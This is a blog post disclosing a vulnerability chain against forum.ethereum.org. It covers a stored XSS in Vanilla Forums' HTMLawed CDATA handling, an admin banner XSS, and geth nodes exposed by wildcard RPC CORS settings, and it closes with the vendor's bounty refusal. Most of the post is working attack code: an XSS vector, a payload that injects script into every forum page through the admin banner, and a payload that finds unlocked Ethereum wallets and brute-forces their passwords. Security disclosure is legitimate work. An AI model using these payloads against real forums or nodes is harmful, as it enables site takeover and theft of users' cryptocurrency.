пятница, 15 февраля 2019 г.

Vanilla Forums < 2.5 Stored XSS in any message and ETH takeover exploit via forum.ethereum.org

Intro:

One year ago i found chain of vulnerabilities that allows me to steal ETH from local wallets of forum.ethereum.org customers.

Vulnerability #1
Type: Misconfiguration
Severity: medium
Description: go-ethereum node (geth) allows user to configure its JSON RPC with CORS header that allows cross-site requests from any site.
For example this settings recommendations can be found here:
http://www.oss.io/p/dob/auctionhouse 
http://blockchainers.org/index.php/2016/02/29/entering-the-world-computer/ 
https://www.npmjs.com/package/solarchain-dashboard 
https://forum.ark.io/topic/410/set-up-guide-ark-aces-node-del
Example 1:
geth --rpccorsdomain "*"
Example 2:
geth --wsorigins="*"


Vulnerability #2
Type: Cross Site Scripting
Severity: high (because when admin logged in on forum - he logged in on admin panel)
Requires: Attacker need to be authenticated on forum and have privileges to send PM.
Description: https://forum.ethereum.org/ - board powered by open source application Vanilla. That application use plugin HTMLawed to filter HTML in messages. Vulnerability is the violation of regular expression logic when using CDATA section, this violation allows remote attacker to inject arbitrary JavaScript code into any message on forum.
Screenshot:


Vulnerability #3
Type: Cross Site Scripting
Requires: Attacker need to be authenticated on forum and have Admin privileges.
Severity: low
Description: Administrator can edit forums banner on page %vanilla%/dashboard/settings/banner, the field named "Banner Title" reflects on all pages on forum and don’t filtering special character, that allows inject arbitrary HTML/JavaScript code

XSS Vector:

<div><![CDATA[ ><img src=s onerror=parentElement.innerHTML='';document.body.appendChild(document.createElement('script')).src='data:,alert(1)'> ]]></div>

XSS Payload #1: (inject script with payload #2 to all forums pages)

fr = document.createElement('iframe');
fr.name = 'fr';
fr.style.display = 'none';
fr.src = 'dashboard/settings/banner';
fr.onload = function(){
 fr.onload = '';
 frd = frames.fr.contentDocument;
 frd.getElementById('Form_Garden-dot-Title').value += '<script src="data:,alert(1)"></script>';
 frd.getElementById('Form_Save').click();
}
document.documentElement.appendChild(fr);

XSS Payload #2: (try to access to misconfigured geth and steal money)

var dbg = 0;
var passwords = ['qwe','qwe123','123qwe','qwerty','123456','1q2w3e','1qaz2wsx','123'];
var wallets = web3.eth.accounts;

function getCookie(name) {
 var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}

function Spoof(){

 for(var i = 0; i < wallets.length; i++){
   if(web3.fromWei(web3.eth.getBalance(wallets[i]), "ether").c[0] > 0){
    checkUnlock(wallets[i]);
   }
 }

 //document.cookie = 'spoofed=1'; //uncomment when you want to attack each user 1 time
}

if(getCookie('spoofed')!='1'){
 if(window.name != 'fr'){
   document.body.style.overflow = 'hidden';
   document.documentElement.innerHTML = '\x3ciframe  name="fr" onload="Spoof();" src="' + location + '" style="border: 0; width: ' + document.documentElement.clientWidth + 'px; height: ' + document.documentElement.clientHeight + 'px"\x3e\x3c/iframe\x3e';
   document.body.style.margin = 0;
 }
}

function bruteForce(wallet){
 if(dbg == 1){
   console.log('%c Start bruteforcing wallet ' + wallet + ' ', 'background: blue;color: white;');
 }
 for(var i = 0;i < passwords.length; i++){
   try{
    if(web3.personal.unlockAccount(wallet,passwords[i]) == true){
     if(dbg == 1){
     console.log('%c Wallet ' + wallet + ' unlocked with password ' + passwords[i] + ' ' , 'background: red;color: white;');
     console.log('%c Balance is ' + web3.fromWei(web3.eth.getBalance(wallet), "ether").c[0] + ' eth ', 'background: red;color: white;');
     }
    }
   }catch(e){
    if(e.toString().indexOf('could not decrypt key with given passphrase') > 0){
     if(dbg == 1){
     console.log('%c Password ' + passwords[i] + ' for wallet ' + wallet + ' is not valid ', 'background: green;color: white;');
     }
    }else{
    }
   }
 }
 return false
}

function checkUnlock(wallet){
 if(dbg == 1){
   console.log('%c Checking wallet ' + wallet + ' for unlocking ', 'background: blue;color: white;');
 }
 try{
  if(web3.eth.sendTransaction({from: wallet, to: wallet, value: 0})){
    if(dbg == 1){
     console.log('%c Found unlocked wallet: ' + wallet + ' ', 'background: red;color: white;');
     console.log('%c Balance is ' + web3.fromWei(web3.eth.getBalance(wallet), "ether").c[0] + ' eth ', 'background: red;color: white;');
     web3.personal.lockAccount(wallet)
    }
   }
 }catch(e){
   if(e.toString().indexOf('authentication needed: password or unlock') > 0){
    if(dbg == 1){
     console.log('%c Wallet ' + wallet + ' locked ', 'background: green;color: white;');
    }
    bruteForce(wallet);
   }else{
   }
 }
 return false
}

Video demo:



Vendor respose:

Hi, 

Thanks for getting in touch. We do not consider any of the reported vulnerabilities as eligible for a bounty. 

Vulnerability 1) This is a configuration setting, which is not enabled by default. 
Vulnerability 2 & 3) This is on our forum, which is out of scope for our bug-bounty. 

The rules for our bug-bounty is available at http://bounty.ethereum.org/

Cheers

P.S.

Also i could use this bug ;)
https://ret2got.wordpress.com/2018/01/19/how-your-ethereum-can-be-stolen-using-dns-rebinding/

1 комментарий: